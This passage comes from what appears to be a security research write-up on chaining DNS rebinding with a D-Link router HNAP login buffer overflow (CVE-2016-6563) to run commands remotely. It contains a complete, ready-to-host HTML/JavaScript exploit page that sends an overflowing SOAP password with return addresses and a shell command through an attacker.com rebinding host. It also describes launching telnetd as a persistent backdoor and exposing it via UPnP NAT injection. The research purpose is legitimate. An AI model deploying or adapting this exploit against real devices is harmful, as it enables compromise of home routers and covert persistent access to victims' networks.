    [ 5278.132000] ra   : 2ab26e1c 0x2ab26e1c
    [ 5278.132000] Status: 0000a413   USER EXL IE
    [ 5278.132000] Cause : 10800008
    [ 5278.132000] BadVA : 68202f90
    [ 5278.132000] PrId : 00019300 (MIPS 24Kc)
    Following the proof of the execution of the touch command (of the minded file).


    # ls /tmp/
    server.key     wburfe         wifi0.caldata minded
    server.crt     hapfie         wifi1.caldata

    Remote Command Execution through DNS Rebinding attack

    It was then possible to embed the generated payload inside an xhr SOAP request in the DNS Rebinding HTML attack page we used in the first part:

    <html>
    <head>
       <script src="jquery.min.js"></script>
       <script>
           
           function exploit()
          {
               var xhr = new XMLHttpRequest();
               xhr.open("POST", "http:\/\/127-0-0-1.192-168-0-1.attacker.com\/HNAP1\/", true);
               xhr.setRequestHeader("Accept", "*\/*");
               xhr.setRequestHeader("Content-Type", "text\/xml; charset=utf-8");
               xhr.setRequestHeader("SOAPAction","http:\/\/purenetworks.com\/HNAP1\/Login");
               xhr.setRequestHeader("HNAP_AUTH","7A6EA9269CBB71629F4EF2926343C7A1 1583173034");
               xhr.withCredentials = true;
               var body = "\x3c?xml version=\"1.0\" encoding=\"utf-8\"?\x3e\x3csoap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\x3e\x3csoap:Body\x3e\x3cLogin xmlns=\"http://purenetworks.com/HNAP1/\"\x3e\x3cAction\x3erequest\x3c/Action\x3e\x3cUsername\x3eAdmin\x3c/Username\x3e\x3cLoginPassword\x3eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*\xb2n\x08BBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC*\xb4a\x04CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCtouch \/tmp\/testJS\x3c/LoginPassword\x3e\x3cCaptcha\x3e\x3c/Captcha\x3e\x3c/Login\x3e\x3c/soap:Body\x3e\x3c/soap:Envelope\x3e";
               var aBody = new Uint8Array(body.length);
               for (var i = 0; i < aBody.length; i++)
               aBody[i] = body.charCodeAt(i);
               xhr.send(new Blob([aBody]));
          }

           var trigger = true;
           function start() {
               jQuery.ajax ({
                   url: "/info/Login.html",
                   type: "GET",
                   data: "",
                    }).always(function (data,status){
                       console.log("[+] Checking SOP bypass...");
                       if(trigger && data.includes("<title>D-LINK</title>")){
                           console.log("[+] Sending Exploit...");
                           exploit();
                           trigger = false;
                      }else{
                           console.log("[+] Waiting...");
                      }
                  });
          }
           function poll() {
               setTimeout(function () {
                   if(trigger){
                       start();
                       poll();
                  }else{
                       console.log("[+] Exploit sent...")
                  }
              }, 6000);
          }

           $(document).ready(function () {
               poll();
          });
       </script>
    </head>

    <body>
       <h1>DNS Rebinding Attack against Dlink Router CVE-XXXXX</h1>
       <br><br><br>
       <marquee>Insert here something...</marquee>
    </body>
    </html>
    Below the screenshot showing the execution of the xhr request after the successful DNS Rebinding attack.
    The exploit was successfully executed and the "testJS" file was created on the filesystem of the router.



    Following the complete DNS Rebinding attack scheme.



    Getting Persistence using DNS Rebinding + UPnP NAT Injection + telnetd service


    The next step for an attacker would be to create a backdoor in order to get persistent access to the victim's device.


    During the static firmware analysis we noticed the existence of "/usr/sbin/telnetd" within the firmware, so we could force the router to run the telnetd service just by replacing his path in the working exploit. 

    Following the generated HTTP request.



    The service was executed on the machine as shown in the following screenshot that shows the nmap output before and after the exploit execution.

    Telnet service status before the exploit execution:



    Telnet service started after the exploit execution:


    Conclusion

    We were able to use the DNS Rebinding attack against CVE-2016-6563 proving that it is possible to execute a Remote Command Execution against a not public facing service, as the web interface of a router.

    Moreover, we have used the UPnP NAT Injection technique from the first part to expose the telnetd service to the public interface in order to get a remote backdoor.

    Authors

    Alessandro Braccio
    Giovanni Guido